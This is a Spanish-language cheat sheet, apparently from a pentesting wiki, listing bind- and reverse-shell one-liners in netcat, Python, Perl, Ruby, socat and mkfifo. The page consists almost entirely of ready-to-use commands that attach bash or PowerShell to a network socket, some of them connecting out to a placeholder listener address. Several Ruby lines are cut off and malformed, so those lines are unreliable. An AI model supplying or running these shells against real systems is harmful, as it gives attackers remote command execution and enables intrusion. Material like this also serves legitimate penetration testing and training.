Bind Shell
La diferencia aquí es que en vez de conectarnos nosotros a la máquina victima es que nosotros estamos escuchando por un puerto para que nos de conexión a nuestra máquina.
Bash
nc -lvp <PUERTO>
nc <DIRECCIÓN_IP_DEL_LISTENER> <PUERTO> -e /bin/bash
4444
Netcat
nc -lvnp <PUERTO>
nc <DIRECCIÓN_IP_DE_LISTENER> <PUERTO>
Python
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",<PUERTO>));s.listen(1);conn,addr=s.accept();print("[+] Conectado por:",addr[0]);subprocess.Popen(["/bin/bash","-i"],stdin=conn,stdout=conn,stderr=conn)'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<DIRECCIÓN_IP_DEL_LISTENER>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
5555
Perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(LocalPort,<PUERTO>,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>;'
perl -e 'use Socket;$i="<DIRECCIÓN_IP_DEL_LISTENER>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
6666
Ruby
ruby -rsocket -e 's=TCPServer.new("<PUERTO>");puts("[+] Escuchando en #{s.addr[0]}:#{s.addr[1]}");conn=s.accept;puts("[+] Conexión de #{conn.peeraddr[2]}:#{conn.peeraddr[1]}");while(cmd=gets);conn.puts
#{cmd.chomp};end'
`ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<DIRECCIÓN_IP_DEL_LISTENER>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){
io
Netcat
nc -lvp <PUERTO>
nc <DIRECCIÓN_IP_DEL_LISTENER> <PUERTO>
8888
Socat Linux
socat TCP:<TARGET-IP>:<TARGET-PORT> -
socat TCP-L:<PORT> EXEC:"bash -li"
4443
Socat Windows
socat TCP:<TARGET-IP>:<TARGET-PORT> -
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
4443
Mkfifo
nc <ip> <port> -e /bin/bash
mkfifo /tmp/f; nc -lvnp 4443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
4443
Last updated